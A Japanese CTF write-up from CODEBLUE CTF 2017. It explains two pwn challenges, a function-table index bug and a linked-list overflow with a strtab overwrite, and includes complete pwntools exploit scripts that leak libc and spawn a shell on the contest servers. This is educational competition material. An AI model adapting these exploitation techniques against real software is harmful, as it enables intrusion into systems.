CODEBLUE CTF 2017 writeup

チーム SSR_CTF_BUで参加しました。2755点で全体で3位、僕はSecret Mailer Servicet(256点)とSimple Memo Pad(399点)の二問を解きました。

Secret Mailer Service

概要

PIE無効、NXBit enabledの64bitバイナリ。 起動すると以下の用にメニューが表示される。

*** Secret Mailer Service ***
Welcome to Secret Mailer Service!
Post your secret letters here ;)

1. Add a letter
2. Delete a letter
3. Post a letter
4. Quit
>

選択肢は4つでそれぞれ、
* Add
サイズが0x100以下の文字列をスタック上に格納
* Delete
Addした中から一つ選んでmemsetで0埋めする。
* Post
Addした中から一つ選んだ後、適用するフィルターを選びヒープへ保存する。
* Quit
終了する。

また、起動時にfopen("/dev/null", "a")が呼ばれ、Post時に呼ばれる関数の第一引数にそのハンドラが入る。

脆弱性

Postを実行しフィルターを選択する際の処理は以下のとおり(一部省略)。

8048b77:       eb 52                   jmp    8048bcb <atoi@plt+0x65b>
8048b79:       8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
8048b7c:       8b 14 85 48 b0 04 08    mov    edx,DWORD PTR [eax*4+0x804b048]
...
8048bb2:       ff 75 0c                push   DWORD PTR [ebp+0xc]
8048bb5:       ff d2                   call   edx

この選択肢に負数を入力するとチェックをすり抜けることが出来る。

exploit

Post時のフィルターの選択で0を入力するとAddで入力した文字列bufがfwrite(f, buf, len)という形で使用される。(fは起動時のfopenの戻り値、lenはbufの長さ)
この時、ヒープ上にバッファが溜まって行くことを利用する。

call edx時のedxの値はメモリ上にある値だけなので、ヒープ上の値とGOTを利用することにする。また関数の引数は順番に、ファイルハンドラ、Postする文字列、文字列の長さの順番になっている。

方針は以下の通り。

  1. ヒープ上にmain関数のアドレスを入力しておく。
  2. printfでヒープのアドレスをリーク。
  3. memsetでlibcのアドレスがある場所まで適当な値で埋めた後、1と同様にしてリークする。
  4. 2でファイルハンドラを破壊してしまった為、main関数を呼び出してファイルハンドラを再び確保する。
  5. ヒープ上にgetsなどの入力を受け付ける関数とsystemのアドレスを入力する。
  6. getsを呼び出してファイルハンドラの指す先に"/bin/sh"を入力する。
  7. system(f)を呼び出す。

exploitは以下の通り。

from pwn import *

context.terminal = 'screen'

binary = './mailer'
libcName = './libc.so.6'
elf = ELF(binary, False)
libc = ELF(libcName, False)

# p = process(binary, env={'LD_PRELOAD': libcName})
# p = process(binary, aslr=False, env={'LD_PRELOAD': libcName})
p = remote('sms.tasks.ctf.codeblue.jp', 6029)
# gdb.attach(p)

jmpBase = 0x804b048

prompt = '> '
def add(content):
    p.sendlineafter(prompt, '1')
    p.sendlineafter('Input your contents: ', content)
    p.recvuntil('Done!')

def dele(index):
    p.sendlineafter(prompt, '2')
    p.sendlineafter('ID (0-4): ', str(index))
    p.recvuntil('Done!')

def post(index, offset):
    p.sendlineafter(prompt, '3')
    p.sendlineafter('ID (0-4): ', str(index))
    p.sendlineafter(prompt, str(offset))

'''
0x080485f5: add esp, 0x10 ; leave  ; rep ret  ;  (2 found)
0x08048db0: rep ret
'''
add('A' * 0xfc)
post(0, 0)
dele(0)

'''
0x804c000:      0x00000000      0x00000161      0xfbad3c84      0x0804c168
0x804c010:      0x0804c168      0x0804c168      0x0804c168      0x0804cc6c
0x804c020:      0x0804d168      0x0804c168      0x0804d168      0x00000000
0x804c030:      0x00000000      0x00000000      0x00000000      0x5572fcc0
'''
# add(p32(0x08048c02))
add(p32(0x08048590))
post(0, 0)

offset = (elf.got['printf'] - jmpBase) / 4
post(0, offset)
heapBase = u32(p.recvuntil('Done!')[4:8]) - 0x168
print 'heapBase: %s' % hex(heapBase)

add('A' * 52)
offset = (elf.got['memset'] - jmpBase)/ 4
post(1, offset)

offset = (elf.got['printf'] - jmpBase) / 4
post(0, offset)
libcBase = u32(p.recvuntil('Done!')[-11:-7]) - 1772736
print 'libcBase: %s' % hex(libcBase)


add('A' * 52)
offset = (elf.got['memset'] - jmpBase)/ 4
post(1, offset)

gets = libcBase + libc.symbols['gets']
system = libcBase + libc.symbols['system']

#return to main and reopen /dev/null
offset = (((heapBase + 0x264) - jmpBase) - (1 << 32)) / 4
post(1, offset)

add('AAAA' + p32(gets) + p32(system) + 'BBBB')
post(0, 0)

offset = (((heapBase + 0x12d4) - jmpBase) - (1 << 32)) / 4
post(0, offset)
p.sendline('/bin/sh')

offset = (((heapBase + 0x12d8) - jmpBase) - (1 << 32)) / 4
post(0, offset)
p.interactive()

warm upらしい

CBCTF{4R3_YOU_w4RM3D_UP_f0R_MORE_PWNabLeS?}

Simple Memo Pad

概要

checksec

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

起動時のメニュー

*******************************
*       Simple Memo Pad       *
*******************************
                     Ver. Alpha


1. Write a note on a blank area
2. Edit a note
3. Delete a note
4. Show a note
5. Quit
>

メモの構造体は以下の用になる。

struct Page {
    uint64_t canary;
    uint32_t index;
    uint32_t is_filled;
    char buf[0x80];
    struct Page *next;
    struct Page *prev;
};

各コマンドは
* write
指定したインデックスの構造体のバッファを埋め、is_filledを1にする。
* edit
is_filledが1である構造体のbufに0x88文字まで入力することが出来る(ここでオーバーフローが発生する。)このedit処理に成功すると以後editは実行できなくなる。
* delete
editと同様にis_filledが1である構造体に対して実行可能で双方向リストから指定したインデックスの構造体を削除できる。
* show
未実装らしい。特に意味は無い。
* quit
終了する。

脆弱性

edit時に88byteまでbufに入力することができ、nextを書き換えることが出来る。

exploit

deleteの処理は以下

void del(Page *page) {
    int n = read_int();
    for(Page *iter = page; ; iter = iter->next) {
        if(!iter) {
            output_str("Page not found\n");
            return;
        }
        if(iter->index == n) {
            break;
        }
    }
    if(get_canary() != iter->canary) {
        output_str("Linked list is corrupted\n");
        exit(1);
    }
    if(iter->is_blank) {
        output_tr("You can not delete a blank page\n");
    }
    Page *local_20h = iter->prev;
    Page *local_18h = iter->next;
    if(local_20h != NULL) {
        local_20h->next = local_18h;
    }
    if(local_18h != NULL) {
        local_18h->prev = local_20h;
    }
    output_str("Done");

}

delete特有の操作を切り取るとこれだけ

    Page *local_20h = iter->prev;
    Page *local_18h = iter->next;
    if(local_20h != NULL) {
        local_20h->next = local_18h;
    }
    if(local_18h != NULL) {
        local_18h->prev = local_20h;
    }

つまり、nextに入れたアドレスにPage構造体のアドレスを上書きすることが出来る。
今回はライブラリ関数のアドレス解決に使用されるstrtab構造体を書き換えることでsystem関数を実行する。

strtab構造体のアドレスをヒープのアドレスに上書きしてからライブラリの動的解決を実行させると以下のようなエラーが出て終了する。(bufには "A" * 0x80が格納されている。)

./simple_memo_pad: relocation error: ./simple_memo_pad: symbol AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

エラーメッセージを見る限り、AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAがlibcに無いと言われているのでこの部分をlibcの関数に書き換えることでその関数を呼び出すことが出来る。

また、今回はQuit時にstrcmpで第一引数に標準入力による文字列を受け付けており、かつ(Quitを選択しない限り)strcmpのアドレスは解決されていなのでこれをsystem関数に置き換える。

  1. Writeで'A' * 0x53 + 'system\x00'を格納する。
  2. Writeで'B' * 0x80を格納する。
  3. editのオーバーフローにより2で書き込んだPage構造体のnextの値をstrtab_base + 8 - 0x98にする。
  4. deleteで2の構造体(index=3)を削除する。
  5. Quitを実行して"/bin/sh"を入力してシェルを起動する。
from pwn import *

context.terminal = 'screen'
binary = './simple_memo_pad'

# p = process(binary, aslr=False)
p = remote('memopad.tasks.ctf.codeblue.jp', 5498)
# gdb.attach(p)

prompt = '> '

def write(content):
    p.sendlineafter(prompt, '1')
    p.sendlineafter('Content: ', content)
    p.recvuntil('Done!')

def edit(index, content):
    p.sendlineafter(prompt, '2')
    p.sendlineafter('Index: ', str(index))
    p.sendlineafter('Content: ', content)
    p.recvuntil('Done!')

def delete(index):
    p.sendlineafter(prompt, '3')
    p.sendlineafter('Index: ', str(index))
    p.recvuntil('Done!')


strtab_base = 0x601850

write('A' * 0x53 + 'system\x00')
write('B' * 0x80)
payload = fit({
        0x80: p64(strtab_base + 0x8 - 0x98)
    })
edit(3, payload)
delete(3)

p.sendlineafter(prompt, '5')
p.sendlineafter('Are you sure to quit? (y/n): ', '/bin/sh\x00')
p.sendline('echo pwned')
p.sendlineafter('pwned', 'cat flag')

p.interactive()

参考

SEC-T CTF 2017 Expunged Write Up – bi0s